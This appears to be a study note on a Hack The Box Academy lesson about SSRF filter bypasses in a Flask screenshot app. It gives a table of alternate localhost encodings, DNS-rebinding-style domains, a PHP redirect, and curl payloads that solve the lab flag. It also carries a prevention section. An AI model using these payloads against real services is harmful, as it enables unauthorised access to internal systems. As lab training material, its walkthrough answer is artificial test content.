Skip to content

Latest commit

 

History

History
277 lines (208 loc) · 7.55 KB

File metadata and controls

277 lines (208 loc) · 7.55 KB

SSRF Basic Filter Bypasses

Server-Side Request Forgery (SSRF) vulnerabilities occur when an attacker can coerce the server to fetch remote resources using HTTP requests; this might allow an attacker to identify and enumerate services running on the local network of the web server, which an external attacker would generally be unable to access due to a firewall blocking access.


Confirming SSRF

Let us consider the following vulnerable web application to illustrate how a developer might address SSRF vulnerabilities.

Code Review - Identifying the Vulnerability

Our sample web application allows us to take screenshots of websites for which we provide URLs.

The web application contains two endpoints. The first one handles taking screenshots, while the second endpoint responds with a debug page and is only accessible from localhost:

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
   
    try:
        screenshot = screenshot_url(request.form.get('url'))
    except Exception as e:
        return f'Error: {e}', 400
    # b64 encode image
    image = Image.open(screenshot)
    buffered = BytesIO()
    image.save(buffered, format="PNG")
    img_data = base64.b64encode(buffered.getvalue())
    return render_template('index.html', screenshot=img_data.decode('utf-8'))

@app.route('/debug')
def debug():
    if request.remote_addr != '127.0.0.1':
            return 'Unauthorized!', 401
    return render_template('debug.html')

Since our target is to obtain unauthorized access to the debug page, we need to bypass the check in the /debug endpoint. However, we cannot manipulate the request.remote_addr variable, as this represents the IP address from which the request originates (i.e., our external IP address).

Screenshot Function

def take_screenshot(url, filename=f'./screen_{os.urandom(8).hex()}.png'):
    driver = webdriver.Chrome(options=chrome_options)
    driver.get(url)
    driver.save_screenshot(filename)
    driver.quit()
    return filename

def screenshot_url(url):
    scheme = urlparse(url).scheme
    domain = urlparse(url).hostname
    if not domain or not scheme:
        raise Exception('Malformed URL')
        
    if scheme not in ['http', 'https']:
        raise Exception('Invalid scheme')
    
    return take_screenshot(url)

The web application performs basic checks including the scheme (blocking file://), but does not restrict the domain or IP address.

Exploitation

Since the web application only restricts us to the http and https schemes but does not restrict the domain or IP address, we can provide a URL pointing to the /debug endpoint:

http://127.0.0.1/debug

The web application will visit its own debug endpoint such that the request originates from 127.0.0.1, granting access.


SSRF Basic Filter Bypasses

1. Obfuscation of localhost

The simplest SSRF filter explicitly blocks certain domains like localhost or 127.0.0.1:

def check_domain(domain):
    if 'localhost' in domain:
        return False
    
    if domain == '127.0.0.1':
        return False
    return True

Bypass Methods - Many ways exist to represent localhost:

Method Value
Localhost Address Block 127.0.0.0 - 127.255.255.255
Shortened IP Address 127.1
Prolonged IP Address 127.000000000000000.1
All Zeroes 0.0.0.0
Shortened All Zeroes 0
Decimal Representation 2130706433
Octal Representation 0177.0000.0000.0001
Hex Representation 0x7f000001
IPv6 loopback address 0:0:0:0:0:0:0:1 (also ::1)
IPv4-mapped IPv6 loopback ::ffff:127.0.0.1

Example bypass:

http://0.0.0.0/debug

2. Bypass via DNS Resolution

Improved filter that blocks private IP ranges:

def check_domain(domain):
    if 'localhost' in domain:
        return False
    try:
        # parse IP
        ip = ipaddress.ip_address(domain)
        # check internal IP address space
        if ip in ipaddress.ip_network('127.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('10.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('172.16.0.0/12'):
            return False
        if ip in ipaddress.ip_network('192.168.0.0/16'):
            return False
        if ip in ipaddress.ip_network('0.0.0.0/8'):
            return False
    except:
        pass
    return True

Problem: The filter only blocks IP addresses, not domain names that resolve to private IPs.

Bypass: Use a domain that resolves to 127.0.0.1:

nslookup localtest.me
Server:     1.1.1.1
Address:    1.1.1.1#53

Non-authoritative answer:
Name:   localtest.me
Address: 127.0.0.1
Name:   localtest.me
Address: ::1

Example bypass:

http://localtest.me/debug

3. Bypass via HTTP Redirect

Further improved filter that resolves domain names:

def check_domain(domain):
    try:
        # resolve domain
        ip = socket.gethostbyname(domain)
        # parse IP
        ip = ipaddress.ip_address(ip)
        # check internal IP address space
        if ip in ipaddress.ip_network('127.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('10.0.0.0/8'):
            return False
        if ip in ipaddress.ip_network('172.16.0.0/12'):
            return False
        if ip in ipaddress.ip_network('192.168.0.0/16'):
            return False
        if ip in ipaddress.ip_network('0.0.0.0/8'):
            return False
        return True
    except:
        pass
    return False

Problem: The filter does not account for HTTP redirects.

Bypass: Host a redirect on your server:

<?php header('Location: http://127.0.0.1/debug'); ?>
php -S 0.0.0.0:80

Then provide your server URL:

http://redirectserver.htb/redirect.php

Note: Blocking redirects completely is difficult. Other redirect methods exist: JavaScript, meta tags, etc. Even if all redirects are prevented, DNS rebinding can still bypass the filter.


Prevention

The simplest and safest way to prevent SSRF is via firewall rules. The system running the vulnerable application should be separated from internal web applications, with firewall rules preventing incoming connections from the vulnerable system to internal services.


Question Walkthrough

Task: Bypass the SSRF filter to obtain the flag. The staging environment is behind a firewall that blocks all outgoing web requests.

Code Analysis

Download and analyze the source:

wget https://academy.hackthebox.com/storage/modules/231/src_ssrf_filter_bypass.zip
unzip src_ssrf_filter_bypass.zip

The /flag endpoint only allows localhost:

@app.route('/flag')
def flag():
    # only allow access from localhost
    if request.remote_addr != '127.0.0.1':
        return 'Unauthorized!', 401
    return send_file('./flag.txt')

The check_domain function:

def check_domain(domain):
    try:
        # resolve domain
        ip = socket.gethostbyname(domain)
        # prevent access to localhost
        return not ipaddress.ip_address(ip).is_loopback
    except:
        pass
    return False

Vulnerability

The is_loopback function does not consider 0.0.0.0 as a loopback address (which includes all IPv4 addresses on a local machine, including 127.0.0.1).

Exploit

curl -s -X POST http://<TARGET_IP>:<PORT>/ -d 'url=http://0.0.0.0/flag'

Or simply use 0:

curl -s -X POST http://<TARGET_IP>:<PORT>/ -d 'url=http://0/flag'